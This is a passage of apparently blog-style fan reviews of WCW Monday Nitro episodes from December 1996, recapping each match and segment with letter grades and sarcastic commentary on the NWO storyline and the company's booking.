Oh look it’s this match again. They talk about the 4th member of the NWO being around but no one knows who he is. It would be DiBiase which would actually save WWF in the long run as it freed up Austin. Fifth would be Giant. Both try to get in each other’s heads which only kind of works. Flair grabs a headlock as Tony tries to convince us that Flair is nervous. That’s very funny.

Hogan struts a bit as this is Larry Z levels of stalling. I love hearing Bobby go off about how he told us all so about Hogan for years. The match is two minutes old and we’ve had maybe 30 seconds of contact. Flair gets in chops and punches to take Hogan down to the floor and he’s very frustrated.

Out to the floor now with Hogan in control. They’re trying to make this out to be a huge match but it’s the same thing we’ve seen so many times before. That was an issue I always had with the NWO. Both guys had been in WCW maybe five years earlier and probably a lot less than that. Also it’s not like they were brand new as everyone knew who they were, but all of a sudden we’re supposed to be terrified of them?

Hogan works over Flair on the floor and mainly his back, but Flair gets him back into the ring and lands a suplex. Hogan, for perhaps the only time ever that I can remember as a true heel, Hulks Up complete with the basic offense. I’d love to have him do that more often I think. He was almost unbeatable with that so why not keep doing the same thing he’s done for years?

Legdrop misses and Flair goes for the leg. SHOCK AND AWE SHOCK AND AWE SHOCK AND AWE: HE GOT IT ON THE PROPER LEG!!! I have never seen him do that in his entire career! Flair gets the hold on the leg that Hogan just hurt and the champ is in trouble! After an attempt at a reversal, Hogan shoves the referee and cue NWO for the big beatdown. The Horsemen, Sting and Luger hit the ring for the save.

Rating: C-. This was your traditional Hogan match from this era: punch, punch, punch, scratch, punch, punch, leg drop. The Hulking Up thing was a nice add-on here though and while it’s not their worst match ever, these two never had that big epic awesome match that they were supposed to have. The matches tended to go downhill after a decent first WCW meeting.

Tony and Bobby wrap things up.

Overall Rating: D-. The lack of failure is only for the great opening match. Aside from that this is one of the weakest shows I can remember in a long time. They did nothing for the most part as everything ended in a DQ or was like three minutes long. Yes they had 9 matches, but when only one is good and two are ok and the other six are bad, what’s the benefit there? WCW was running on pure drama and hype at this point and it’s very clear here. Terrible show but at least it was relatively short.

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Monday Nitro #68
Date: December 30, 1996
Location: Knoxville Civic Auditorium, Knoxville, Tennessee
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

We close out the 1996 series with this. It’s the night after Starrcade and the NWO is about the same. Piper beat Hogan via sleeper but the title wasn’t on the line after Piper GOT TO WRITE THE CONTRACT HIMSELF. Eddie won the US Title and that’s about it. The idea here is to set up the main event of Souled Out. Now the logical idea would be to have Hogan vs. Piper II but that would be insane in WCW. Let’s get to it.

The NWO arrives to open the show, bragging about how awesome they are. Hogan brags about life in general but Giant doesn’t look that happy. He points out that the name plate on the world title says The Giant. Hogan has been champion FOUR MONTHS at this point and they never changed the plate?

Giant dropped the ball last night (Luger beat him, I believe in the first WCW win over an NWO wrestler) but Hogan says it’s all ok because the NWO is awesome. Giant wants a title shot but Hogan tries to talk him out of it. Hogan says that Giant’s title shot means a bye for the NWO. Giant wants to be lead dog. This goes on for awhile.

Theme song opens us up.

Tony and Larry talk about how great last night was for WCW. We get stills of Luger vs. Giant. Sting came in and whispered to Luger as well as Giant. He left his bat there and Luger hit Giant with it for the win.

Amazing French Canadians vs. Public Enemy

The Canadians beat them down on the apron and the Enemy has to chill on the floor. Once they do get into the ring they clear out the Canadians and single out Oulette. Now the Enemy won’t let the Canadians in the ring. The Canadians try to leave but get beaten down by their own flags which isn’t a DQ somehow. The Public Enemy tries to put Jacques through a table but go through it themselves. We FINALLY get to a traditional match structure as the Canadians win with the Cannonball. This wasn’t a match so no rating but it was kind of fun.

Cruiserweight Title: Ultimo Dragon vs. Jushin Thunder Liger

I’ll pause to let the internet explode. Dragon holds the J Crown and the Cruiserweight Title while Liger beat Rey last night with the Liger Bomb. Dragon kicks away to start but Liger speeds things up. They both hit clotheslines but no one goes anywhere. There’s the
surfboard by Liger and a suplex for two. Rolling Thunder gets two. Dragon grabs a backbreaker out of nowhere to send Liger to the floor, following up with a suicide dive. Dragon goes up but jumps into two feet. At least he was trying a splash there. Brainbuster and superplex get two for Liger. Out of nowhere Dragon hits a super rana and tiger suplex to retain.

Rating: C+. Good match but short. At this point, Dragon had TEN championships including a title from Mexico. Think about that for a few seconds. It’s a big deal when people have two and Dragon had ten. These two would have a great 18 minute match in Tokyo less than a week after this where Liger won the J Crown.

Big Bubba vs. Konnan

This is a strap match. And there’s no Bubba but he has a replacement.

Mr. Wallstreet vs. Konnan

This is the touch the corners variety. Wallstreet, who has no issues with Konnan, jumps him and whips Konnan down. Konnan does the get the strap between the other guy’s legs and pull spot. We get the same finish that you almost always get for this: Wallstreet drags him around, Konnan hits it at the same time, Konnan dives to win it. WHAT WAS THE POINT OF THIS??? It lasted like two minutes and there was no issue between these two.

Hogan and Bischoff come out. Hogan is all perky because he still has the title. Bischoff says that Hogan won last night and Hogan says that he knew he’d win the whole time. This is a really basic “Hogan is awesome” promo with nothing happening after it’s over.

Hugh Morrus vs. Kensuke Sasaki

Both are big power guys. They hit the ropes and no one moves. A double clothesline puts both guys down but then they pop up. Sasaki chops away but Morrus punches. There’s no selling at all here. Morrus elbows him down and hooks a chinlock. Eric comes up on commentary and says they won’t show the ending to the PPV last night because he has the tape. Sasaki hits a powerslam and there is NO reaction. No one knows who Sasaki is and there’s no point to this match as far as stories go, so why should they care? Top rope elbow misses and Morrus hits the moonsault but Sonny comes in for the DQ.

Rating: D-. Why did this match happen? I mean, no one knows who Sasaki is so a win over him doesn’t matter. Morrus didn’t even get the pin because they did the DQ ending. This was Sasaki’s first WCW match in a year and his last ever with the company. But hey, he’s Japanese so we’re supposed to care I guess? I don’t get it.

We get stills of Piper’s win last night which is supposed to be some big deal.

Harlem Heat vs. Faces of Fear

The announcers rave on and on about how great and important and inspiring the Piper win was. Larry says that it was huge because people had wondered who would win if they fought for years. So we’re supposed to remember Wrestlemania but not all of the other matches they had. Got it. Tony plugs Souled Out which was on a Saturday. Stevie and Barbarian start but it’s off to Booker for some kicks quickly.

Booker goes up but is quickly belly to belly superplexed off. Off to Meng who stomps away and works on the back. And get this: THERE’S A MIDGET MATCH LATER!!! I know they like going back to the 80s but can’t they steal some good ideas? Colonel Parker comes out and spanks Sherri with his riding crop so they get in their 9000th fight. A Rougeau comes out to throw salt in Stevie’s eyes. Kick of Fear takes Stevie down but Booker jumps off the top and clocks Meng so Stevie can get the unconscious cover.

Rating: D. This match sucked too. I don’t get what they’re thinking with half of this card as its like they had no idea that Nitro was happening tonight and threw together a bunch of matches to fill in two hours. This was probably the longest match too, clocking in at about 4 minutes. The fans just don’t care at all either, and can you blame them?

DDP says he’ll fix things with the NWO and move on. He won’t go into details though. It’s implied that he’s going to join them but he hates that he has to.

Hour #2 begins. This one has to be more interesting than that first hour which would work well as an informercial for putting a screwdriver into your head.

We recap Hogan and Giant from earlier, as well as Hogan lying about winning.

Piper has arrived.

Disco Inferno vs. Glacier

There’s a big black spot all over the ring from the stuff that Jacques threw at Stevie in the previous match. After the bell, Disco says drop out of the match or face the wrath of his new leg lock. Glacier flips him over and we’re ready to go. Disco gets kicked a lot so he hides behind the referee and comes back with a clothesline. He sets for his new leg hold but can’t remember how to do it. Instead he hits a pretty good neckbreaker but Glacier pops up and hits a superkick to end it.

Rating: D+. Ice > Fire I guess. The match was, again, pointless and nothing interesting. Glacier would stay undefeated until roughly July while Disco would stay a joke for years to come. At the end of the day though, he took a stupid gimmick and kept a job out of it for how many years? That proves something, although it might be that WCW is stupid enough to keep him around.

Stills of Benoit vs. Jarrett where about 5 people interfered and Jeff got the pin while unconscious.

Chris Benoit vs. Chris Jericho

Ok, this HAS to be good right? Woman looks pretty good here. Benoit controls to start and Jericho has more rainbowish tights. Huge powerbomb and an elbow gets two for Benoit. Another powerbomb attempt is countered into a backslide. Jericho doesn’t mean much yet so this would be a huge upset. Rollup gets two for Jericho. Jericho gets sent face first into the middle buckle but Jericho comes out with an atomic drop and superkick. Lionsault (not yet named) misses so he goes up top for a cross body. Jericho charges into the corner but gets tied up so that a belly to back superplex from Benoit gets the pin.

Rating: C+. Again, these two getting some time means a good match. Jericho still didn’t mean much but he was rapidly gaining steam. Well whatever steam he was able to get in WCW before they turned him into nothing. The heel turn worked far better for him than the face run did.

The Horsemen minus Arn have an interview but Debra is all nice to Woman. She’ll have none of the lies though and yells at Mongo. Jarrett comes out and says he wants to be a Horseman and lead WCW. He wants to know where Arn is but Flair says he’s off partying. Benoit says Jarrett isn’t a Horseman. PREACH IT BROTHER!!! Flair wants to go party. Can you imagine the REAL Horsemen against the NWO? As in them kidnapping say Wallstreet and breaking his leg then saying they’re coming for the gold? WarGames: Horsemen vs. NWO. Think that might work? Instead we get….this. Thanks Benoit.

Lee Marshall does his phone thing.

Octagoncito/Mascarita Sagrada vs. Jerito Estrada/Piratita Morgan

Again, I get that this is a huge deal in Mexico, but this means NOTHING to American audiences and are a comedy act here. Jerito is taller than the top rope if that tells you anything. He and Sagrada have a small vs. big match and this is going nowhere. The others come in and Octagoncito cleans house. Sagrada pins Jerito with a rollup. This was short and not terrible, but it’s totally out of place here in Tennessee.

Dean Malenko vs. Rey Mysterio Jr.

Neither gets an entrance as we start immediately after returning from a break. Dean quickly takes him to the mat to control early. Rey sends him to the floor to make sure nothing speeds up all night. Back in and Dean hooks another hold but Rey reverses into one of his own. Dean throws him into the air and then hits his gutbuster for no cover. Half crab by Dean keeps things slow.

Rey speeds things up by running the corner and hitting a dropkick. Dean stays on the back then forearms Rey in the corner. Rey comes back with some of his own but Dean tries to throw him onto the top. Rey was supposed to land on his feet on top but can’t get it so he crotches himself to improvise. That’s much better than trying to stand and making it look stupid.

Dean counters a rana into a big powerbomb for two. Rey comes back with a rolling cradle for the same. Another powerbomb is countered into a sunset flip for two. Mysterio knocks him to the floor and hits a BIG seated senton to the floor, sending his own face into the floor at the same time. West Coast Pop is countered into a Boston Crab and we get a nice pinfall reversal sequence out of it. Rey goes up top for a rana but the bell rings at 9:24 for a draw.

Rating: C+. Another good match which actually means something but the fans DO NOT react at all. Can you really blame them though? They’ve had to sit through an hour and a half of totally worthless matches with guys most of them have never seen before which aren’t getting any kind of time to get anything going with. Now all of a sudden they’re supposed to get fired up? It doesn’t work that way. The match was pretty good (time issues aside) but the dead crowd holds it back.

Lex Luger vs. Greg Valentine

This is exactly what you would expect: Valentine gets in some early offense and pounds away for maybe two minutes or so. Then Luger makes his comeback and the Rack gets the submission.

Here’s Piper for the talk to close the show. He reminds us that he won last night and that it’s his last fight. Hogan and Bischoff come out and talk about how Piper is lying to them. Hollywood says he didn’t end Piper last night because of Piper’s son begging. Piper wants to do it again right now but here’s the NWO. Giant comes out very slowly. Even Nick Patrick is finally in the NWO shirt.

They give Piper a big shoulderbreaker and hit his bad hip with a chair. The tell Giant to chokeslam him and he reluctantly puts Piper in position for it. Giant drops him though and never picked him up off the mat. Giant stands off by himself while the NWO huddles. Hogan says that’s strike three and slaps Giant. Giant grabs him by the throat while the NWO backs off. He says he wants the gold and Hogan promises him a title shot. Giant lets Hogan go and Hogan says he’s got the shot. He gets on the floor and then says get him.

The NWO runs in and Giant beats up all of their low level guys but everyone eventually gangs up on him, allowing Hogan to take him down with belt shots to the back. They rip the NWO shirt off of him and Hogan hits him in the head with the belt as the NWO stands tall to end the show. Oh and Piper is taken away in an ambulance.

Overall Rating: D. Where do I even begin? Ok first and foremost, the ending is the typical problem with WCW at this point: the NWO isn’t allowed to look weak. Giant defecting should have been a big moment, especially with him choking Hogan into giving him a title shot. So what happened? He was beaten down like EVERYONE else has been two minutes later. Why should I buy Giant as being any different than the other guys when the same thing happens to him? There was no reason to and it didn’t work.

As for the rest of the show, it sucked. The crowd was dead (with good reason) and there was no interest in anything on the rest of the card, because WCW put no effort into anything else on the card. Where was Eddie? The guy won the US Title last night but can’t be booked here? We can get Public Enemy vs. Canadians and a midget match but no US Champion? This show has taken a BIG downturn in the past 6-7 shows and I don’t think it’s going to get any better soon.

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Monday Nitro #66
Date: December 16, 1996
Location: Pensacola Civic Center, Pensacola, Florida
Commentators: Eric Bischoff, Ted DiBiase

We’re in Florida this week and we’re just about to Starrcade with only one show after this before the big one. Also tonight is the last televised Sting match for over a year. That’s assuming he wrestles of course. We’ll also get more of the Piper vs. Hogan buildup which should be somewhat entertaining. Let’s get to it.

Here’s the NWO to start and they storm the announcers’ desk. Eric wants to do commentary and Larry says he’s not leaving. DiBiase and Virgil aren’t enough to make him leave. Tony leaves and Larry finally goes also.

We get a clip from the ending of last week’s show. Hogan is here tonight.

TV Title: Psicosis vs. Steven Regal

I don’t think this is a title match. Oh so it is. Eric says they’ll be taking over New Japan next. They fight over a wristlock to start and hit the mat where Regal takes over. Regal works on the arm and Bischoff implies that Regal will join the NWO soon. We take a break to NWO music and Bischoff promising something special. Back with Regal firing off European uppercuts in the corner.

Rolling cradle gets two. Psicosis speeds things up to send him to the floor. The fans are getting into this too. Psicosis hits a big dive to the floor and a top rope sunset flip for two. A top rope rana gets the same and the fans are really into this. The guillotine legdrop gets the same but I don’t think that was Psicosis’ finisher yet. Regal comes back with a suplex but his neck is hurting him.

Regal hooks the crossface part of the Regal Stretch and Psicosis taps but it doesn’t count yet. Now it’s a half nelson as Regal works on the neck. Butterfly suplex for two. Regal tries a top rope butterfly suplex but Psicosis knocks him down and hits a kind of frog splash for two. Psicosis superkicks him down (good one too) and tries a victory roll but Regal slams him onto his face and the Regal Stretch gets the submission.

Rating: B. I would ask where this came from, but as I say over and over on here: giving talented people time usually means you’re going to get a good match. Psicosis really had the fans into this and I think had them believing that the title was in danger. The idea of someone that was viewed as having only a tiny chance would be used again in February.

We recap the Sting vs. Rick Steiner stuff.

Big Bubba vs. Chavo Guerrero Jr.

Bubba knocks him into the corner to start but Chavo manages to speed things up to take over. He gets Bubba tied up in the ropes and dropkicks him to the floor. Bubba slams him out there though and Chavo is in trouble. Back inside a splash misses and Chavo hits some dropkicks. He fights out of a powerbomb position with right hands but jumps into a Bossman Slam for the pin.

Here are Sonny Onoo and Masa Chono. Sonny is his agent and is negotiating with New Japan for his contract. Sonny opens his jacket to reveal a New Japan show. Chono opens his jacket to reveal an NWO shirt. Chono yells at Sonny and Gene wants to know what he says. Sonny says something in Japanese. Gene: “IN ENGLISH YOU IDIOT!!!”

Chris Jericho vs. Masa Chono

Chono sends him to the floor and Jericho has no idea what to do with this guy. Chono knocks him down and yells at the referee. Sunset flip gets two for Jericho. Jericho tries to fight back but Chono is too much for him. Masa goes up but Jericho manages to get a superplex followed by a spinwheel kick for two. A top rope version of the kick misses but Jericho lands on Chono’s back. I think Chono was supposed to duck but didn’t get completely out of the way. Jericho gets knocked into the ropes and his foot gets tied into them. Chono chokes him until it’s a DQ.

Rating: C-. Not a bad match but Jericho wasn’t ready to hang in there with Chono yet. Also this was designed to be almost total domination for the new NWO guy which was par for the course at this point. I don’t remember when WCW’s first major win was but it would be awhile coming unless I’m overlooking something.

We recap last week’s Piper stuff as well as his segment with Flair.

Here are Flair and the Horsemen minus Benoit. Anderson says he’ll take out Sullivan tonight. Flair tells Benoit to get home. Debra doesn’t like Woman. Mongo says be ready Arn. Flair loses his voice and says Piper will kill Hogan.

Dave Sammartino vs. Dean Malenko

Did they lose a bet or something? The last national match I can find for Sammartino before this is at Wrestlemania I. That’s over 11 years ago! Did they owe Bruno a favor or something? They fight over the arm to start and Dean takes him to the mat like he’s fighting a no talent hack that is in the ring because his dad is famous. Small package gets two. A tiger suplex ends this. Not even enough to call it a squash. It was more like a workout with a punching bag for Dean.

Hour #2 begins and it’s Tony, Bobby and Tenay back on commentary.

We look at Chono joining the NWO again.

Ice Train vs. Jerry Flynn

Train destroys the martial arts guy to start but walks into a clothesline. Tony plugs the NWO PPV even though he doesn’t want to. Train takes him down again and this is a really boring match. He wins with an ankle lock of all things.

Rating: F. This is one of those times where you have to wonder what WCW was thinking. I mean…why does this match exist? Who thought this show needed Ice Train vs. Jerry Flynn? Ice Train would have four more matches on Nitro through May and then wouldn’t be on this show for over three years. Flynn would be about the same. I don’t get it.

Post match Syxx brings out the Outsiders. The Outsiders talk for a bit and the gist is Faces of Fear vs. Outsiders tonight.

Video on Sting abandoning WCW.

Rey Mysterio Jr. vs. Bobby Eaton

Eaton goes for the knee quickly and works on the arm. Mysterio vs. Liger is announced for Starrcade. Rey sends him to the floor and hits a dive to take over. They head back in and things slow down. Rey works on the arm which isn’t something I ever recall him doing. Eaton takes over again and the top rope knee drop gets two. Eaton goes up again but Rey crotches him and hits a top rope rana for the pin.

Rating: D+. This was a big surprise for me. With the talent you have in there, this was a big disappointment. I think the problem at the end of the day is that Eaton isn’t used to being the much bigger guy and that messed him up. The match isn’t terrible but they weren’t clicking at all.

Benoit and Woman are still in Germany and have another video, basically saying Benoit has taken Woman from Sullivan.

Arn Anderson vs. Kevin Sullivan

Sullivan blames Schiavone for showing the videos on the way to the ring. The brawl stats in the aisle and Sullivan throws a chair at his head. Anderson misses a swing with the chair and hits the post by mistake. They go into the ring for what must have been a good 4 seconds before heading into the crowd.

They go into the ring for the first time that you can actually keep track of and the referee gets a DDT. Sullivan double stomps him and ties Anderson into the Tree of Woe but Anderson manages to kick him low. Here’s Hugh Morrus who gets a DDT. Konnan gets a left hand and Sullivan manages to hit Anderson with a wooden chair for the pin.

Rating: N/A. I can’t really grade this as a match because it was a brawl instead of an actual match. It was entertaining which is really all you can ask for here. Benoit would get back soon enough, namely due to being in the US Title tournament. This was a fun brawl but there isn’t much of a reason to watch it from a storyline perspective as the heat was on Benoit.

Rick Steiner vs. Sting

Sting comes from the rafters and through the crowd. That doesn’t look like Sting at all. A second one comes out and that one looks more like him. The second one is the real one. The fake one has a ball bat. And so does the real one. The fake one throws his bat to Scott and the real one throws his to Rick. They turn around and offer a free shot to the Steiners, but the real Sting hits a Death Drop on the fake one, who we’re told is the NWO Sting. The real one walks out. No match.

Here’s the NWO in full force. Well at least the big names as Giant and Hogan are here with Vincent and DiBaise. Liz is there too. DiBiase demands a spotlight for Hulk. Hulk calls out Piper when we know Piper isn’t here. Hogan talks about starting here like Piper started in Charlotte last week. He says he was beating up Andre the Giant when he stated. Vincent is sent to the back to find Piper. Hulk says he could beat up Flair and Piper at the same time. Vincent comes back and tells Hogan that Piper ran out the back door. Hogan poses and dances to end this.

Faces of Fear vs. Outsiders

Brawl to start and Hall loads up the Edge on Meng. Barbarian breaks it up and Big Bubba comes in and joins the NWO, beating up Meng. Sullivan comes out and is knocked backwards. The Dungeon comes in but they’re outnumbered. The whole NWO comes out and some WCW guys join in as well. Scott Norton drops Ice Train on the floor and is NWO as well.

Sting comes in and the brawl stops. The fight stops and Anderson swings at Sting. Sting ducks and hits Anderson. Mongo gets in some shots so Sting hits him too. Rey jumps on him and is slammed down. Sting walks out to end the show. He only hit people that attacked him.

Overall Rating: B-. This is a hard one to grade. It’s a very entertaining show and I can’t take that away from it. However there’s something very important to note. With the three new additions to the NWO, counting non-wrestlers, there are now SIXTEEN members. The common problem people have with the NWO is that there were too many members. Within the last two weeks, they’ve added 4 new members, most of whom mean nothing. You could argue that Bubba is the biggest name as most American fans didn’t know who Chono was. You can see the problems that will plague the group starting here.

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Monday Nitro #65
Date: December 9, 1996
Location: Independence Arena, Charlotte, North Carolina
Commentators: Tony Schiavone, Larry Zbyszko, Bobby Heenan, Mike Tenay

We continue to head towards Starrcade tonight and if my memory is right, Piper is in the building tonight. There’s another member joining the NWO tonight as well but it’s not like the rest of them to put it mildly. There are a lot of matches tonight too so they should be pretty quick each. Let’s get to it.

Here’s Piper to open things up. Piper says it’s nice to be home. He used to live at a Days Inn here before it was pretty. The last time everyone saw him, there were a bunch of NWO guys pounding on his leg. Piper hops around the ring on one leg. On December 29, he’s supposed to fight Hogan in Nashville. He has six kids so he has to win this one. Piper is bombed it seems. His seven year old told him that Hogan was younger than him and has two good legs so what chance does he have?

Piper talks about boxing Mr. T. at Wrestlemania 2 and being asked to take a dive. He said no, so they added extra padding to his gloves to make sure the punches didn’t hurt T as much. I’ll leave that one alone. There’s a guy in the audience with an NWO sign. Piper says nothing bad about the NWO because he’s a free agent. He talks about a promo they did of six guys in one room in leather drinking and not one woman. Our hero ladies and gentlemen. He knows Hogan is here so let’s just do it tonight.

Mike Enos vs. Michael Wallstreet

Michael grabs a quick fireman’s carry to start and it’s a feeling out period. About a minute in here’s DiBiase. Enos hits a powerslam but gets distracted by DiBiase. DiBiase has papers in his hands and Wallstreet hits a quick Samoan Drop for the pin.

DiBiase hands Wallstreet the papers and he seems pleased. DiBiase leaves before anything else happens.

We get a video of Woman and Benoit with Woman talking about how she’s obviously not in the Florida Keys and that Kevin can’t find him. She meant it in Baltimore when she said if Sullivan kicked Benoit one more time she was gone. It’s not the 1950s anymore so she’ll do what she wants. Benoit talks about how Sullivan fancies himself a chess player. Well Benoit’s bishop just took Sullivan’s queen. We cut to Sullivan who is speechless.

Hugh Morrus vs. Renegade

Renegade still has a job? They fight for control with power moves to start which gets no one an advantage. Morrus changes things up with a spinwheel kick to take Renegade down. Small package gets two for Renegade. Morrus’ bearhug is quickly countered into one by Renegade which is quickly broken up as well. Morrus says to hit him, so Renegade punches him down. Can’t say he doesn’t take orders well. Hugh suplexes him down and the moonsault ends this. Better match than you would expect actually.

Joe Gomez, Renegade’s partner, pulls him out of the way of another moonsault.

Sullivan comes out post match and wants to talk to Tony who played the video of Benoit and Woman. Kevin says it’s a ratings game but that video wasn’t sent to WCW. It was sent to Sullivan, so why didn’t they ask Sullivan if they could show it? Tony is a pawn in a game to get ratings. Sullivan says he has a personal life and stuff that he does outside of this ring. Next time there’s something to show, screw the ratings because Sullivan has people to take care of. I didn’t remember this angle all that well but it’s starting off well.

Video on Sting set to, and I kid you not, Holding Out For A Hero.

Here’s Kevin Greene of the Carolina Panthers who got a big win yesterday. I know this because Tony has reminded us of it every 47 seconds. He doesn’t like Mongo and he doesn’t like the NWO. Greene would love a chance to fight Hogan.

Cruiserweight Title: Jimmy Graffiti vs. Dean Malenko

So Graffiti loses to Dean and then to Rey, then he gets a title match. I’ll never understand how the title contenders selection process works. Chain wrestling to start and Graffiti taking over with a hammerlock. Dean gets up and clotheslines Jimmy to take over as we take a break. Graffiti is in control with brawling stuff when we return. Clothesline gets two. Graffiti misses a charge in the corner and they head to the floor.

They both try a suplex but both guys are down as a result. A superkick puts Dean down for two. A powerbomb puts Dean down as well but Graffiti wastes time. After a very delayed cover, Graffiti tries a front suplex but Dean rolls through into a small package for a quick pin to retain the title.

Rating: C. Not a bad match but Graffiti was nothing of note at all. This was just an appetizer until we got to the Dragon feud which was more interesting. The ending was a good one as Dean used his wrestling abilities to catch the lazy Graffiti off guard. Not a great match but a good ending.

Sonny Onoo has lost his accent but says Dragon will destroy Dean at Starrcade.

We get some clips of the triangle tag match from World War 3.

Nasty Boys vs. Faces of Fear

If you’re expecting anything other than a fight here, raise your hand so I can point at you and laugh. They go split screen almost immediately and the Outsiders are standing on the ramp. I have no idea who started but it’s Sags vs. Barbarian now. Sags goes to the floor to fight Meng and it breaks down again. The NWO has left. Ok so it’s back to Barbarian and Sags in the ring and there’s a tag to Knobbs. It breaks down again and Knobbs has Barbarian pinned but there’s no referee. Jimmy GOES UP TOP with the Megaphone but it hits Barbarian. Meng hits Knobbs with the Megaphone and it gets the pin.

Rating: C. Ok so with this, if you’re going just on the wrestling this is somewhere between a Divas match and two kids in the back yard. If you’re going on entertainment and keeping things moving, this was incredible. That being said, we’ll put it somewhere in the middle. It’s a total brawl that has no order to it at all, but like I said that’s all you should have expected.

Here’s Flair for an interview. He comes out to the Horsemen music but he’s on his own. Flair is still injured here but his arm isn’t in a sling anymore. He praises the Panthers again and bows down to Greene, who he says he doesn’t like. Flair asks Piper to come out here to a big Charlotte welcome.

Flair talks about Piper getting here on a Greyhound bus and now he’s got a home next to Phil Knight (Nike boss) in Oregon. Piper has taken it upon himself to challenge Hogan, whose name draws a bunch of boos. Flair talks about the losses to Hogan haunting him but now Piper is here to rectify it. Piper says this is his last shot and he appreciates the offer but he wants to do this on his own.

Hour #2 begins.

We have a recap of the opening segment and then the announcers talk about said segment.

Chris Jericho vs. Bobby Eaton

Eaton takes him down quickly and hits the top rope knee almost immediately. Jericho comes back with a powerslam and an inset interview, saying WCW will prevail. He isn’t done with Nick Patrick yet either. Suplex sets up the Lionsault for two. It wasn’t a finisher yet. Alabama Jam misses and Jericho hits the missile dropkick for the pin. Pretty much a squash.

We recap the Rick Steiner/Sting issues.

The Steiners are in the arena to talk about Sting. Scott says it’s crazy to hand Rick Steiner a bat but when Scott did that, he saw something in Sting’s eyes. He has no idea what it is though. Sting has done the same thing to Lex and them and those three are all WCW. Rick says they’re waiting for his next message.

We recap Lex vs. Giant, which isn’t really a feud. This is more like a video on Lex set to his theme music and not much Giant. It’s Lex vs. Giant at Starrcade.

Craig Pittman vs. Arn Anderson

Pittman and Long have parted ways apparently. An inset interview by Sullivan says he blames this on Arn. Next week they’re going to fight. Anderson stalls a lot and Tony says that there’s more video from Benoit and Woman for Sullivan. We take a break (why?) and come back with more stalling. Anderson drops to the floor and wraps the knee around the post but is slammed off the top. Tony says that doesn’t happen often. I’d hit him if I could right now. Code Red is countered by grabbing the ropes and they head to the outside. Briefcase to the ribs, DDT, NEXT.

Gene asks Okerlund where Woman and Benoit are. Anderson says Benoit is in Germany and 2 + 2 = 4. Anderson says love stinks and it’s his fault. Debra goes on a rant against Nancy and McMichael says focus. Anderson tells benoit to come home and says he has a bone to pick with Woman.

Lee Marshall is in Pensacola.

US Title Tournament Semi-Finals: Diamond Dallas Page vs. Jeff Jarrett

Man this would have been different three and a half years later. The winner of this gets the winner of Guerrero vs. Benoit at Starrcade. This continues the streak of “put DDP in the ring with guys that could have a watchable match with a grizzly bear so that he gets better.” Jarrett has a small advantage to start but Page kicks him in the ribs and poses. They fight over a top wristlock and we take a break.

Back with Page in control and slamming Jarrett down. Jarrett comes back with an enziguri and a swinging neckbreaker for no cover. The fans start booing something and a sunet flip and clothesline both get two for Jeff. A Blanchard slingshot suplex sets up a middle rope fist for two. There’s a sleeper and Page is in trouble.

The referee is looking at something else as Page hits a discus lariat for a big reaction. Page punches him down and suddenly is over like crazy. A top rope clothesline gets two. Page is sent to the floor and here are the Outsiders. Nash distracts so that the Razor’s Edge can kill Jarrett. Page didn’t see it and gets the pin.

Rating: B-. Remember what I’ve said before about talented guys getting time means a good match? This is a similar version but Page wasn’t quite good yet. Jarrett was reliable though and could easily get a good match out of Page at this point. The reactions for Page are getting much stronger very quickly and WCW capitalized on it too.

Page says he doesn’t need the NWO because the Diamond Cutter does whatever he needs. One more time: leave me alone. He wants to know where they were last year when he was voted Most Improved by PWI. It reminds him of a girl he picked up in a nightclub and the next thing he knows, she wants a full time thing. In short, stop calling!

Rick Steiner vs. Scott Norton

We have about five minutes left in this show so this isn’t lasting long if at all. And there’s no Steiner. It’s Roddy Piper instead and he’s MAD.

He gets a chair and gets in the ring. Piper says nothing is happening until Hogan gets out here because it’s time to fight. Here’s Bischoff instead but Piper says get out because he wants Hogan. Eric says the NWO has left and here comes the garbage. He says he tried to keep Piper out of WCW for his own safety. Eric says that Hogan will beat him up on the 29th and then he limps out of the ring to imitate Piper. Piper gets the chair and here’s the NWO. He has the chair and says bring it on but no one gets in. Kevin Greene gets in also and they stand tall to end the show.

Overall Rating: C+. Most of Starrcade is set at this point so the next few weeks are going to be a lot of buildup shows and that’s ok. This show was entertaining enough but we need Hogan and Piper in the same ring soon. It’s not a bad show and the wrestling is good, but it was still a few weeks/months before we get to the Sting vs. Hogan stuff and the real drama begins. This is just kind of keeping things warm until then.

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